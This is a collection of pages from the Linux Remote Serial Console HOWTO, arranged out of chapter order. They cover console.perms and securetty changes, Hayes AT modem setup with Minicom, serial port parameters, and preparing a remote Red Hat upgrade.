<console>  0600 <sound>      0600 root
<console>  0600 <cdrom>      0660 root.disk
<console>  0600 <pilot>      0660 root.uucp
<console>  0600 <jaz>        0660 root.disk
<console>  0600 <zip>        0660 root.disk
<console>  0600 <ls120>      0660 root.disk
<console>  0600 <scanner>    0600 root
<console>  0600 <camera>     0600 root
<console>  0600 <memstick>   0600 root
<console>  0600 <flash>      0600 root
<console>  0600 <fb>         0600 root
<console>  0600 <kbd>        0600 root
<console>  0600 <joystick>   0600 root
<console>  0600 <v4l>        0600 root
<console>  0700 <gpm>        0700 root

There are two types of devices listed above: those devices required by someone connecting from an attached keyboard and monitor and those devices that allow convenient access to devices. The configuration file fails to make the distionction between logical and physical console noted in Section 1.3. The configuration file is modified to create that distinction.

Figure 7-9. Devices in console.perms required for attached keyboard and screen

<console>  0600 <fb>         0600 root
<console>  0600 <kbd>        0600 root
<console>  0600 <joystick>   0600 root
<console>  0600 <v4l>        0600 root
<console>  0700 <gpm>        0700 root

The remaining devices should be altered to give control only to people attaching from the serial console. For example, we don't want an unprivileged user at a co-location site mounting a floppy disk. Define a new console type for the serial console, say <sconsole>.

Figure 7-10. Add <sconsole> in console.perms to refer to serial console

<sconsole>=ttyS0

Now modify the remaining entries from <console> to <sconsole>.

Figure 7-11. Remaining devices in console.perms altered to refer to serial console

<sconsole>  0660 <floppy>     0660 root.floppy
<sconsole>  0600 <sound>      0600 root
<sconsole>  0600 <cdrom>      0660 root.disk
<sconsole>  0600 <pilot>      0660 root.uucp
<sconsole>  0600 <jaz>        0660 root.disk
<sconsole>  0600 <zip>        0660 root.disk
<sconsole>  0600 <ls120>      0660 root.disk
<sconsole>  0600 <scanner>    0600 root
<sconsole>  0600 <camera>     0600 root
<sconsole>  0600 <memstick>   0600 root
<sconsole>  0600 <flash>      0600 root

Prev | Home | Next
Alter target of /dev/systty | Up | Configure Red Hat Linux


Remove saved console settings

Remote Serial Console HOWTO
Prev Chapter 7. Configure incidentals Next

7.3. Remove saved console settings

The file /etc/ioctl.save contains the serial and terminal parameters to use in single user mode. The serial and terminal parameters are usually set by getty — during single user mode no getty runs and the contents of /etc/ioctl.save are used to set the serial and terminal parameters.

As we are changing consoles, the saved settings are no longer correct.

Figure 7-2. Removal of ioctl.save containing the saved console parameters

bash# rm -f /etc/ioctl.save

We re-create this file once we can log in from the serial console.

Prev | Home | Next
Change init level to textual | Up | Serial console is not /dev/modem


Allow root to login from serial console

Remote Serial Console HOWTO
Prev Chapter 7. Configure incidentals Next

7.1. Allow root to login from serial console

The file /etc/securetty controls the devices that the root user can log in upon.

It is usually desirable to have root be able to log in from the console, so add the basename of the serial console device to /etc/securetty.

Figure 7-1. Alter securetty to allow root to log in from the serial console

ttyS0

Almost anyone can now dial into the modem and attempt to guess the root password. Normally we do not allow root to log in from a remote site, rather we have a normal user log in and then use su or sudo to become root. This gives some traceability.

Unfortunately, the root user needs to be able to log in from the console to fix a full disk. Disk subsystems typically reserve 5% of their space for root's exclusive use.[1] This is enough space for the root user to log in and start deleting the files that filled the disk.

Notes

[1]

This is not as inefficient as it may appear. The last 5% of a disk formatted with a general purpose filesystem always performs poorly and is best left empty.

Prev | Home | Next
Configure incidentals | Up | Change init level to textual


Modem configuration

Remote Serial Console HOWTO
Prev Next

Chapter 12. Modem configuration

Table of Contents
12.1. Using Minicom to give commands to a modem
12.2. Configure dumb modem
12.3. Configure modem with AT commands
12.3.1. Configure port speed
12.3.2. Configure answer mode
12.3.3. Configure CTS/RTS handshaking
12.3.4. Configure Data Carrier Detect
12.3.5. Configure Data Terminal Ready
12.3.6. Configure no CONNECT messages
12.3.7. Configure no echo of commands
12.3.8. Configure silent connection
12.3.9. Configure DTR delay
12.3.10. Configure no attention sequence
12.3.11. Configuration example
12.3.12. Resetting the modem
12.4. Internal modems
12.5. WinModems
Prev | Home | Next
Making serial cables |  | Using Minicom to give commands to a modem


WinModems

Remote Serial Console HOWTO
Prev Chapter 12. Modem configuration Next

12.5. WinModems

If you look at a modem, with it's small central processing unit and special-purpose digital signal processor, and then look at a modern PC, with it's large CPU and general-purpose DSP on the sound card, you may wonder if the hardware duplication of an external modem is necessary.

A ‘WinModem’ incorporates the CPU and DSP of the modem into the slightly-enhanced fabric of a PC. They are called "WinModems" because they originally only shipped with Microsoft Windows device drivers. These device drivers presented the illusion of a serial port attached to a Hayes AT-style modem. For a long time only Windows versions of these drivers where available. Some manufacturers now provide Linux versions of their device drivers as well, these are jokingly called ‘LinModems’.

It is probably possible to use a LinModem as a Linux console. At the most this would require altering the source code to dumb-down the AT command emulation of the modem and recompiling the kernel.

Boot loaders, however, work in a very confined software environment and struggle to support a simple serial chip. Considering that some boot loaders do not even handle interrupts, handling the complex DSP of a LinModem is well beyond what is practical.

Prev | Home | Next
Internal modems | Up | Bugs and annoyances


Configure dumb modem

Remote Serial Console HOWTO
Prev Chapter 12. Modem configuration Next

12.2. Configure dumb modem

Linux, like most UNIX-like operating systems, expects a serial console to be connected to a dumb modem. Dumb modems are not seen much these days, perhaps only on exotic hardware such as ISDN terminal adapters or satellite ground terminals.

A dumb modem is configured using hardware. Figure 12-1 shows the front panel of a fanciful dumb modem. In reality the speed and mode settings are likely to be done using jumpers or DIP switches.

Figure 12-1. Front panel of a dumb modem

+-----------------------------+
|                             |
|    SPEED       MODE         |
|  [ ]  300    [ ] Originate  |
|  [ ]  600    [X] Answer     |
|  [ ] 2400                   |
|  [X] 9600                   |
|                             |
+-----------------------------+

The modem's speed is set to the desired bit rate, in our case 9600bps. The modem's mode is set to Answer, that is, to wait for incoming calls and to answer them.

If the RS-232 control line Data Terminal Ready is low, the modem will not answer a call. The computer is off or the computer's serial interface is not yet initialized. Once DTR is high the modem will answer incoming calls.

Once an incoming call is established the modem raises the Data Carrier Detect control line.

getty on the Linux computer has been waiting for DCD to come high, and getty welcomes the user and requests them to log in.

Whilst the user is logged in and data is flowing, Clear to Send and Ready to Send are used between the modem and the computer to prevent data being sent too soon. The computer lowers Clear to Send when it is too busy to receive a character. The modem lowers Ready to Send when it is too busy to receive a character.

When the user hangs up, Data Carrier Detect falls and the hang up signal is sent to all processes associated with the dial in session.

Alternatively, the user can log out. When the shell dies, the computer pulls Data Terminal Ready low, causing the modem to hang up. When the getty brings Data Terminal Ready high again, the modem will accept more incoming calls.

We have not yet described Data Set Ready. This line is low if the modem is off or if the modem has not yet initialized.

Prev | Home | Next
Using Minicom to give commands to a modem | Up | Configure modem with AT commands


Configure modem with AT commands

Remote Serial Console HOWTO
Prev Chapter 12. Modem configuration Next

12.3. Configure modem with AT commands

Most modems today are smart modems based upon the Hayes modems and their command sets. But as discussed above, the Linux serial console is designed to operate with a dumb modem.

Thus the smart modem is dumbed-down until it resembles a dumb modem. Some expensive modems will have a DIP switch or board jumper to put them into dumb mode.

It is essential to have a manual for the modem which describes that modem's AT commands. Although most modems agree on the more popular AT commands, they differ in the more technical commands.

12.3.1. Configure port speed

Hayes AT-style modems can maintain a static speed between the computer and the modem, no matter what speed the dialing modem uses.

For most modems this is set automatically based upon the speed of the first characters sent after power-on.

Power cycle the modem and connect to it with the command minicom -o console. Press Enter a few times. The modem should now be running at the same bit rate used by Minicom, which we set to the speed of the serial console in Section 12.1.

You can check the port speed by asking the modem to generate some output.

Figure 12-2. Testing the modem's port speed

bash# minicom -o console
Welcome to minicom
Press CTRL-A Z for help on special keys

Enter Enter Enter

ATI Enter
56k V.90 Series 3 External V2.20

Ctrl-A Q
Leave without reset? Yes

Some modems have an AT command to re-establish the port speed, look in your modem's manual for the AT&B1 command. Some modems have a command to explicitly set the port speed, look in you modem's manual for the ATB command.

12.3.2. Configure answer mode

The modem will answer an incoming call on the second ring using the command ATS0=2.

Don't answer the phone on the first ring as this may invalidate the certification of the modem in some telephony jurisdictions.

12.3.3. Configure CTS/RTS handshaking

CTS/RTS handshaking prevents lost characters.

The AT command is AT&K3.

12.3.4. Configure Data Carrier Detect

Data Carrier Detect should follow the presence or absence of a calling modem.

The AT command is AT&C1.

12.3.5. Configure Data Terminal Ready

Data Terminal Ready should control the modem. If DTR is high the modem is ready to receive calls. If DTR is low the modem should not receive any More calls and should hang up any existing call.

The AT command is AT&D2.

12.3.6. Configure no CONNECT messages

An Hayes AT-style modem usually outputs a message when a call is received. For example:

CONNECT 9600

The modem has a ‘quiet mode’ that disables these messages.

The AT command is ATQ1. There will be no OK printed in response to this command.

12.3.7. Configure no echo of commands

Echoing commands can confuse the console.

The AT command is ATE0.

12.3.8. Configure silent connection

Most modems have a speaker. By default this is connected whilst a modem is connecting and negotiating a common protocol and speed. This is very useful for a dialing modem, as it prevents a human being accidentally repeatedly called. The speaker can be annoying on answering modems.

If wanted, use the ATM0 command to turn off the speaker.

12.3.9. Configure DTR delay

Data Terminal Ready drops when the semiconductor that supports the RS-232 link is reset. This then hangs up the modem. This can be annoying. If the getty supports a parameter similar to mgetty's toggle-dtr-waittime then it is possible to extend the time that the modem will ignore DTR. The time that getty holds DTR low to force a hang up is extended beyond the modem's setting. The result is that resetting the semiconductor does not hang up the modem, but getty can still hang up the modem at the end of a login session.

Check your modem's documentation. Our example modem uses S-register 25 to contain the threshold for noticing a change in DTR. The value is in one-hundreds of a second. By setting the modem with ATS25=150 (1.5 seconds) and setting mgetty with toggle-dtr-waittime 2000 (2 seconds) we ignore small blips in DTR.

12.3.10. Configure no attention sequence

Once the modem is correctly configured and works well, disable the +++ sequence that gives access to the modem's command mode.

The AT command is ATS2=255.

If this command is accidentally given see Section 12.3.12 to reset the modem to its factory default parameters and start again.

12.3.11. Configuration example

Figure 12-3. Configure modem using AT commands

bash# minicom -o console
Welcome to minicom
Press CTRL-A Z for help on special keys

AT &F Enter
OK

AT Z Enter
OK

AT &C1 &D2 &K3 S0=2 M0 Enter
OK

AT E0 Q1 S2=255 &W Enter

Alt-A Q
Leave without reset? Yes

12.3.12. Resetting the modem

If you need to issue more AT commands to the modem then power cycle the modem. This should place the modem into command mode.

Now issue the following commands to restore the modem's factory configuration.

Figure 12-4. Resetting a Hayes AT-style modem

bash# minicom -o console
Welcome to minicom
Press CTRL-A Z for help on special keys

AT &F &Y0 &W &W1 Enter
OK
AT Z Enter
OK

Alt-A Q
Leave without reset? Yes

If this fails then you will need to clear the modem's configuration memory. The procedure for this varies by manufacturer, and probably requires the disassembly of the modem.

Prev | Home | Next
Configure dumb modem | Up | Internal modems


Internal modems

Remote Serial Console HOWTO
Prev Chapter 12. Modem configuration Next

12.4. Internal modems

An internal modem is basically an external modem and serial port mounted upon a PC bus card. These are cheaper than external modems as they do not require a power supply or a chassis.

Internal modems work fine for remote serial console applications. They are especially attractive for computers at co-location sites, as those sites charge according to space and power consumption.

Check that your internal modem preserves its setting across a power cycle.

Ensure that the interrupt line and port address space used by the internal modem's serial port does not conflict with that used by any other pre-existing serial ports. Alternatively, ensure that the internal serial port can be disabled, freeing its interrupt line and port address space for use by the internal modem.

Be careful not to confuse an internal modem with a WinModem. An internal modem does not need a special device driver, but appears to Linux as a stardard serial port.

Prev | Home | Next
Configure modem with AT commands | Up | WinModems


Using Minicom to give commands to a modem

Remote Serial Console HOWTO
Prev Chapter 12. Modem configuration Next

12.1. Using Minicom to give commands to a modem

Minicom is a full-screen serial terminal emulation package, very much like the classic Telix terminal emulator for MS-DOS.

Firstly, start Minicom in configuration mode with the command:

bash# minicom -o -s

The following menu appears:

Filenames and paths
File transfer protocols
Serial port setup
Modem and dialing
Screen and keyboard
Save setup as dfl
Save setup as..
Exit
Exit from Minicom

Select Serial port setup and set

A - Serial Device: /dev/ttyS0
B - Lockfile Location: /var/lock
C - Callin Program:
D - Callout Program:
E - Bps/Par/Bits: 9600 8N1
F - Hardware Flow Control: Yes
G - Software Flow Control: No

Now save the configuration

Give name to save this configuration?
> console

and exit Minicom.

To configure a modem use the command minicom -o console to start Minicom without sending an initialization string to the modem. Now issue the AT commands to configure the modem.

When finished use the Quit option to leave Minicom without sending a reset string to the modem; this option is Alt-Q.

Sometimes Minicom will use Ctrl-A rather than Alt to access the menu system, look for a hint in Minicom's start up message:

Press ALT-Z for help on special keys

Press CTRL-A Z for help on special keys

Prev | Home | Next
Modem configuration | Up | Configure dumb modem


Preparation

Remote Serial Console HOWTO
Prev Next

Chapter 2. Preparation

Table of Contents
2.1. Create fallback position
2.2. Select a serial port
2.2.1. Serial port names
2.2.2. Cannot share interrupt used for console's serial port
2.3. Select a serial speed and parameters
2.4. Configure the modem or the null-modem cable
2.5. Configure the terminal or the terminal emulator

This chapter ensures that access the existing console can be restored should the serial console fail to start.

This chapter then discusses the selection of the RS-232 port and its parameters.

Prev | Home | Next
Configuration overview |  | Create fallback position


Create fallback position

Remote Serial Console HOWTO
Prev Chapter 2. Preparation Next

2.1. Create fallback position

Good system administrators always have a viable fallback plan to cope with failures. A mistake configuring the serial console can make both the serial console and the attached monitor and keyboard unusable. A fallback plan is needed to retrieve console access.

Many Linux distributions allow boot diskettes to be created. Writing a boot diskette before altering the console configuration results in a boot diskette that passes good parameters to the kernel rather than parameters that may contain an error.

Under Red Hat Linux a boot diskette is created by determining the running kernel version

bash$ uname -r
2.4.2-2

and then using that version to create the boot diskette

bash# mkbootdisk --device /dev/fd0 2.4.2-2

An alternative fallback position is have a rescue diskette with the machine. A common choice is Tom's root boot.

Prev | Home | Next
Preparation | Up | Select a serial port


Configure the modem or the null-modem cable

Remote Serial Console HOWTO
Prev Chapter 2. Preparation Next

2.4. Configure the modem or the null-modem cable

If a modem is used, configure it to be a dumb modem at the port speed selected in Section 2.3. If the modem accepts Hayes AT commands see Chapter 12 to dumb-down the modem.

Alternatively if a terminal and a null-modem cable are used see Section 11.3, which discusses the pinout of the null modem cable.

Prev | Home | Next
Select a serial speed and parameters | Up | Configure the terminal or the terminal emulator


Select a serial port

Remote Serial Console HOWTO
Prev Chapter 2. Preparation Next

2.2. Select a serial port

2.2.1. Serial port names

Linux names its serial ports in the UNIX tradition. The first serial port has the file name /dev/ttyS0, the second serial port has the file name /dev/ttyS1, and so on.

This differs from the IBM PC tradition. The first serial port is named COM1:, the second serial port is named COM2:, and so on. Up to four serial ports can be present on a IBM PC/AT computer and its successors.

Most boot loaders have yet another naming scheme. The first serial port is numbered 0, the second serial port is numbered 1, and so on.

If your distribution of Linux uses the devfs device manager then the serial ports have yet another name. The first serial port is /dev/tts/0, the second serial port is /dev/tts/1, and so on.

The result is that the first serial port is labeled COM1: on the chassis of the IBM PC; is known as /dev/ttyS0 to Linux; is known as /dev/tts/0 to Linux's running devfs; and is known as port 0 to many boot loaders.

The examples in this HOWTO use this first serial port, as that is the serial port which most readers will wish to use.

Table 2-1. Many names for the same serial port

IBM PC | Linux kernel | Linux kernel with devfs | Most boot loaders
COM1: | /dev/ttyS0 | /dev/tts/0 | 0
COM2: | /dev/ttyS1 | /dev/tts/1 | 1
COM3: | /dev/ttyS2 | /dev/tts/2 | 2
COM4: | /dev/ttyS3 | /dev/tts/3 | 3

2.2.2. Cannot share interrupt used for console's serial port

When used for a console the serial port cannot share an interrupt with another device. The IBM PC devices are usually installed as shown in Table 2-2. If you use the serial port /dev/ttyS0 for the console then you should avoid sharing interrupt 4 by not installing a serial port /dev/ttyS2 in your PC. If /dev/ttyS2 cannot be physically removed then disable it using the setserial command, as shown in Figure 2-1.

Table 2-2. Interrupts used for IBM PC/AT RS-232 ports

Device | Interrupt | Port
/dev/ttyS0 | 4 | 0x3f8
/dev/ttyS1 | 3 | 0x2f8
/dev/ttyS2 | 4 | 0x3e8
/dev/ttyS3 | 3 | 0x2e8

Figure 2-1. Using the setserial command in /etc/rc.serialto disable the serial port /dev/ttyS2

# Disable /dev/ttyS2 so interrupt 4 is not shared,
# then /dev/ttyS0 can be used as a serial console.
setserial /dev/ttyS2 uart none port 0x0 irq 0

Note that the interrupt-sharing constraint appears to apply to all computer architectures, not just Intel Architecture 32.

Prev | Home | Next
Create fallback position | Up | Select a serial speed and parameters


Select a serial speed and parameters

Remote Serial Console HOWTO
Prev Chapter 2. Preparation Next

2.3. Select a serial speed and parameters

This HOWTO does not discuss the RS-232 standard, which is formally known as ANSI/TIA/EIA-232-F-1997 Interface Between Data Terminal Equipment and Data Circuit-Terminating Equipment Employing Serial Data Interchange. For an explanation of ‘bits per second’, ‘start bits’, ‘data bits’, ‘parity’, ‘stop bits’ and ‘flow control’ refer to the Serial-HOWTO and the Modem-HOWTO.

The description of the command syntax for setting the serial parameters in the kernel, boot loaders and login applications uses the following variables which describe RS-232 parameters.

<speed>

The speed of the serial link in bits per second.

The Linux kernel on a modern PC supports 50, 75, 110, 134.5, 150, 200, 300, 600, 1200, 1800, 2400, 4800, 9600, 19200, 38400, 57600 and 115200 bits per second for a serial port being used as a console. Higher bit rates may be possible depending upon the model of the serial port's semiconductor.

Very recent Linux kernels can also offer a serial console using a USB serial dongle at speeds of 1200, 2400, 4800, 9600, 19200, 38400, 57600 and 115200 bits per second.

Most boot loaders only support a subset of the range supported by the kernel. LILO 21.7.5 supports 110, 150, 300, 600, 1200, 2400, 4800, 9600, 19200, 38400, 56000, 57600 and 115200 bits per second. SYSLINUX 1.67 supports 75 to 56000 bits per second. GRUB 0.90 supports 2400, 4800, 9600, 19200, 38400, 57600 and 115200 bits per second.

You must chose the same speed for both the boot loader and for the Linux kernel. An operating system may use more than one boot loader. For example, Red Hat Linux uses SYSLINUX to install or upgrade the operating system; LILO as the boot loader for Red Hat Linux 7.1 and earlier; and GRUB as the boot loader for Red Hat Linux 7.2 and later.

If you are using a serial terminal or if you are using a dumb modem then the bit rate of the terminal or dumb modem must also match the bit rate selected in the boot loader and kernel.

If the serial console is connected to a Hayes-style modem slower than 9600bps then configure the serial console with the same speed as the modem. Modems faster than 9600bps will generally automatically synchronize to the speed of the serial port.

The selected bit rate must also be supported by the serial port's semiconductor. Early model UARTs such as the 8250 series and the 16450 could only reliably recieve at up to 14400bps. The 16550 series and later models will work at all bit rates.

Unless you have good reason, use the popular bit rate of 9600 bits per second. This is the default bit rate of a great many devices.

The speeds that are supported by the kernel, the three common boot loaders, and all IBM PCs capable of running Linux are: 2400, 4800, 9600 and 19200 bits per second. This is a depressingly small selection: not slow enough to support a call over an international phone circuit and not fast enough to upload large files. You may need to choose a speed that will result in a less robust software configuration.

Figure 2-2. Syntax for serial bits per second rate, in extended Backus-Naur form

<speed> ::= <digits>
<digits> ::= <digit> | <digit><digits>
<digit> ::= 0 | 1 | … | 9

<parity>

Number of parity bits and the interpretation of a parity bit if one is present.

Allowed values are n for no parity bit, e for one bit of even parity and o for one bit of odd parity.

Using no parity bit and eight data bits is recommended.

If parity is used then even parity is the common choice.

Parity is a simple form of error detection. Modern modems have much better error detection and correction. As a result the parity bit guards only the data on the cable between the modem and the serial port. If this cable has a low error rate, and it should, then the parity bit is not required.

Figure 2-3. Syntax for serial parity, in extended Backus-Naur form

<parity> ::= n | e | o

<data>

The number of data bits per character.

Allowed values are 7 bits or 8 bits, as Linux uses the ASCII character set which requires at least seven bits.

Eight data bits are recommended. This allows the link to easily be used for file transfers and allows non-English text to be presented.

Figure 2-4. Syntax for serial data bits, in extended Backus-Naur form

<data> ::= 7 | 8

<stop>

The number of stop bit-times.[1]

Allowed values are 1 or 2.

One stop bit-time is recommended.

If the RS-232 cable is very long then two stop bit-times may be needed.

You may occassionally see 1.5 stop bit-times. The intent is to gain 4% more data throughput when a link is too long for one stop bit-time but is too short to require two stop bit-times. 1.5 stop bit-times is now rare enough to be a hazard to use.

Figure 2-5. Syntax for serial stop bits, in extended Backus-Naur form

<stop> ::= 1 | 2

<flow_control>

The type of flow control to use.

The Linux kernel allows no flow control and CTS/RTS flow control.

No flow control is the default, this is indicated by omitting <flow_control>.

CTS/RTS flow control is recommended, especially if login access is also provided to the serial port. This is indicated by a <flow_control> of r.

CTS/RTS flow control regulates the flow of chatacters. The computer does not send characters until Clear To Send is asserted by the modem. If the computer is has enough buffering to recieve characters from the modem the computer asserts Ready to Send. Thus neither the computer nor the modem's buffers are filled to overflowing.

The kernel's CTS/RTS flow control is not perfect. Unlike a user application, the kernel cannot wait forever for Clear To Send to be asserted. The kernel tests Clear To Send a large number of times and then sends the message in any case. The kernel does not assert Ready To Send, as the kernel is never recieves key strokes. Of course, a user-space application such as getty can set Ready To Send to recieve keystrokes.

At present the RS-232 status lines are ignored by the kernel. A kernel message will be printed even if Data Carrier Detect and Data Set Ready are not asserted. This is a bug, which probably appeared because it is convenient for kernel developers to avoid the hassle of configuring their terminal emulators correctly.

Figure 2-6. Syntax for serial flow control, in extended Backus-Naur form

<flow_control> ::= <nil> | r

The Linux kernel uses the syntax in Figure 2-7 to describe the serial parameters. Many boot loaders use a variation of the syntax used by the Linux kernel.

Figure 2-7. Syntax for kernel serial parameters, in extended Backus-Naur form

<mode> ::= <speed><parity><data><flow_control>

Note that <mode> does not include <stop>. The kernel assumes the number of stop bits to be one. This shortcoming need to be considered when deploying long RS-232 cables.

Most boot loaders default to 9600n8. A common default found on older terminals is 9600e7.

Use 9600n8r if possible, as this is the default for most Linux software and modern devices.

This HOWTO always configures the serial speed and parameters, even where not strictly necessary. This is so that people configuring parameters other than the recommended and common default value 9600n8r will know what to alter.

Notes

[1]

A bit-time is the time taken to transmit one bit. The distinction between bit-times of signal and bits of data is apparent when you consider that 1.5 bit-times of signal is possible but that 1.5 bits of data is impossible.

Prev | Home | Next
Select a serial port | Up | Configure the modem or the null-modem cable


Configure the terminal or the terminal emulator

Remote Serial Console HOWTO
Prev Chapter 2. Preparation Next

2.5. Configure the terminal or the terminal emulator

Configure the terminal to match the serial parameters. The data bits, parity bits and stop bits must match. If a modern ‘smart’ modem is used then the bit speeds need not match. If a dumb modem or a null modem cable is used then the bit speeds must match.

Set CTS/RTS handshaking on, DTR/DSR handshaking off and XON/XOFF handshaking off. Your equipment may call CTS/RTS handshaking or DTR/DSR handshaking ‘hardware handshaking’ and may call XON/XOFF handshaking ‘software handshaking’.

Set automatic line wrapping on. This allows all of a long console message to be read.

Set the received end of line characters to LF CR (line feed then carriage return). Set the transmitted end of line characters to just CR (carriage return).

If you are using a terminal emulator then it is best to choose to emulate the popular DEC VT100 or VT102 terminal. Later terminals in the DEC VT range are compatible with the VT100. If this terminal is not available then try to emulate another terminal that implements ANSI X3.64-1979 Additional Controls for Use with American National Standard Code for Information Interchange (or its successor ISO/IEC 6429:1992 ISO Information technology — Control functions for coded character sets). For example, many emulators have a terminal called ANSI BBS which uses the IBM PC character set, the 16 IBM PC colors, a 80 column by 25 line screen and a selection of X3.64-1979 control sequences.

See the Text-Terminal-HOWTO for much more information on configuring terminals.

Prev | Home | Next
Configure the modem or the null-modem cable | Up | Optionally configure the BIOS


Re-create saved console settings

Remote Serial Console HOWTO
Prev Chapter 8. Reboot and test Next

8.2. Re-create saved console settings

Log in as root from the serial console and send the console into single user mode. The modem may hang up whilst doing this and you may need to re-connect.

remote.example.edu.au ttyS0 login: root
Password: …
bash# telinit 1
…Telling INIT to go to single user mode.
INIT: Going single user
INIT: Sending processes the TERM signal
sh# rm -f /etc/ioctl.save
sh# stty sane -parenb cs8 crtscts brkint -istrip -ixoff -ixon

Exiting from single user mode back to the default run level will save the serial console configuration into /etc/ioctl.save.

sh# exit
…
bash# ls -l /etc/ioctl.save
-rw------- 1 root root 60 Jan 1 00:00 /etc/ioctl.save

This file will be used if the machine boots into single user mode for any reason.

Prev | Home | Next
Verify console operation | Up | Test the console


Create boot disk for serial console

Remote Serial Console HOWTO
Prev Appendix C. Upgrading Red Hat Linux from a serial console Next

C.9. Create boot disk for serial console

Once the upgrade has been sucessfully done create a boot floppy which has serial console support. This is most simply done by creating a boot disk, as done by the anaconda installer or as described in Section 2.1; modifying the configuration file \SYSLINUX.CFG to configure the boot loader to use the serial console, as described in Section 4.3; and finally configuring the kernel to use the serial console, as described in Section 5.3.

An alternative is to create your own mkbootdisk RPM package containing a modified copy of the shell script /sbin/mkbootdisk.

The \SYSLINUX.CFG file on the boot floppy is written by mkbootdisk using the code in Figure C-3. We alter this code to use the serial console; the result is shown in Figure C-4.

Figure C-3. Extract from Red Hat Linux 7.2 mkbootdisk which creates SYSLINUX.CFG

cat > $MOUNTDIR/syslinux.cfg <<EOF
default linux
prompt 1
display boot.msg
timeout 100
label linux
  kernel vmlinuz
  append $INITRDARG root=$rootdev
EOF

Figure C-4. Altered extract from mkbootdisk, which creates a SYSLINUX.CFG that uses a serial console

cat > $MOUNTDIR/syslinux.cfg <<EOF
serial 0 9600
default linux
prompt 1
display boot.msg
timeout 100
label linux
  kernel vmlinuz
  append $INITRDARG root=$rootdev console=tty0 console=ttyS0,9600n8r
EOF

Created boot floppies will now use the serial console.

By far the best alternative would be the addition of parameters to mkbootdisk to allow the kernel parameters and serial port, speed and flow control to be given when the boot floppy is created. For this enhancement request see Red Hat Bugzilla entry 59351.

Prev | Home | Next
Upgrade Red Hat distribution | Up | Further references


Upgrading Red Hat Linux from a serial console

Remote Serial Console HOWTO
Prev Next

Appendix C. Upgrading Red Hat Linux from a serial console

Table of Contents
C.1. Select boot disk
C.2. Configure the BIOS to use the serial port
C.3. Configure modem to ignore DTR and assert DCD
C.4. Prepare a network install floppy diskette
C.5. Prepare HTTP server
C.6. Record network configuration
C.7. Record LILO configuration
C.8. Upgrade Red Hat distribution
C.9. Create boot disk for serial console
C.10. Further references

Upgrades to Linux distributions are frequently released. A machine is not remotely manageable unless these upgrades can be installed without needing to physically touch the machine.

This section examines the remote installation and remote upgrade of Red Hat Linux.

Red Hat Linux can be installed over the network from a HTTP server using an install diskette. We modify this diskette to use the serial console. If we can control whether to boot from this diskette or from the hard disk then we can remotely upgrade the Red Hat Linux distribution from the serial port. If a blank diskette is placed in the drive when the machine is deployed then no on-site intervention is needed to upgrade the operating system.

If you have upgrade procedures for other Linux distributions please contribute them to the HOWTO maintainer.

Prev | Home | Next
Kermit |  | Select boot disk


Configure the BIOS to use the serial port

Remote Serial Console HOWTO
Prev Appendix C. Upgrading Red Hat Linux from a serial console Next

C.2. Configure the BIOS to use the serial port

Many servers allow the BIOS to be configured from the serial port, especially on systems designed for rack mounting. At the moment few machines designed to be used as desktop systems allow the BIOS to be accessed from the serial port.

Refer to your vendor's documentation to set the BIOS to use the serial port. Some vendors call this feature ‘console redirection’. Unfortunately, the meaning of this term varies by vendor. Some vendors use it to mean the redirection of the VGA output and keyboard to a remote PC using a proprietary serial protocol. This feature can only be used in conjunction with the Linux serial console if the BIOS can be instructed to disable the serial redirection after booting.

As an example of the confusion, Dell uses ‘console redirection’ when describing the Dell 2400 and the Dell 2450. The Dell 2450 BIOS can be configured from the serial port. The Dell 2400's ‘console redirection’ is additional hardware that remotely replicates the computer's VGA monitor and keyboard.

An example of a BIOS configuration is given in Figure C-1.

Figure C-1. Configuring BIOS to use serial link

BIOS setup console redirection

Enter BIOS setup during boot when
  Keyboard:     [Ctrl+Alt+Esc pressed]
  Serial port:  ["HAL" is typed]

Serial port
  Port:         [COM1]
  Speed         [9600] bps
  Data:         [8] bits
  Parity:       [None]
  Stop:         [1] bits
  Handshaking:  [Full CTS/RTS handshaking]
  Terminal:     [Dumb]

Many BIOSs will enter their configuration dialogs if a particular terminal key is pressed during the BIOS boot. This can be a problem if the modem link is noisy.

For normal operation, set the boot order to attempt to boot from the hard disk first.

Figure C-2. Configuring BIOS to boot from hard disk

BIOS setup boot order

First:  [Hard disk]
Second: [CD-ROM]
Third:  [Floppy disk]

Prev | Home | Next
Select boot disk | Up | Configure modem to ignore DTR and assert DCD


Record network configuration

Remote Serial Console HOWTO
Prev Appendix C. Upgrading Red Hat Linux from a serial console Next

C.6. Record network configuration

If the machine does not use the Dynamic Host Configuration Protocol then record the current network configuration. This is used to complete the installer's Configure TCP/IP screen.

Example C-1. Displaying the Internet Protocol configuration

bash$ ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:11:22:33:44:55
          inet addr:10.1.2.3  Bcast:10.1.2.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:344233 errors:0 dropped:0 overruns:0 frame:0
          TX packets:285750 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          Interrupt:10 Base address:0x9000
bash$ netstat -r -n                                                            (1)
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
10.1.2.0        0.0.0.0         255.255.255.0   U        40 0          0 eth0
127.0.0.0       0.0.0.0         255.0.0.0       U        40 0          0 lo
0.0.0.0         10.1.2.254      0.0.0.0         UG       40 0          0 eth0
bash$ cat /etc/resolv.conf
domain example.edu.au
nameserver 10.255.1.1
nameserver 10.255.2.1
nameserver 172.16.1.1
The value of inet addr is the ‘IP address’. Our example shows 10.1.2.3. The value of Mask is the ‘Netmask’. Our example shows 255.255.255.0.
The value in the Gateway column for Destination 0.0.0.0 is the ‘Default gateway’. Our example shows 10.1.2.254.
The value of the first listed nameserver is the ‘Primary nameserver’. Our example shows 10.255.1.1.
Prev | Home | Next
Prepare HTTP server | Up | Record LILO configuration


Configure modem to ignore DTR and assert DCD

Remote Serial Console HOWTO
Prev Appendix C. Upgrading Red Hat Linux from a serial console Next

C.3. Configure modem to ignore DTR and assert DCD

We will be doing a fair about of rebooting and having this hang up the modem is annoying, so modify the modem's configuration to ignore Data Terminal Ready. Use the AT&D0 to ignore the status of DTR.

We may also wish to disconnect during the install to reduce transmission charges. Configuring the modem to hold Data Carrier Detect on will prevent any disconnection and reconnection from being apparent to the installer. Use the command AT&C0 to always hold DCD high.

Apply these changes using the procedure in Section 12.3, retaining all of the other AT commands.

Prev | Home | Next
Configure the BIOS to use the serial port | Up | Prepare a network install floppy diskette


Record LILO configuration

Remote Serial Console HOWTO
Prev Appendix C. Upgrading Red Hat Linux from a serial console Next

C.7. Record LILO configuration

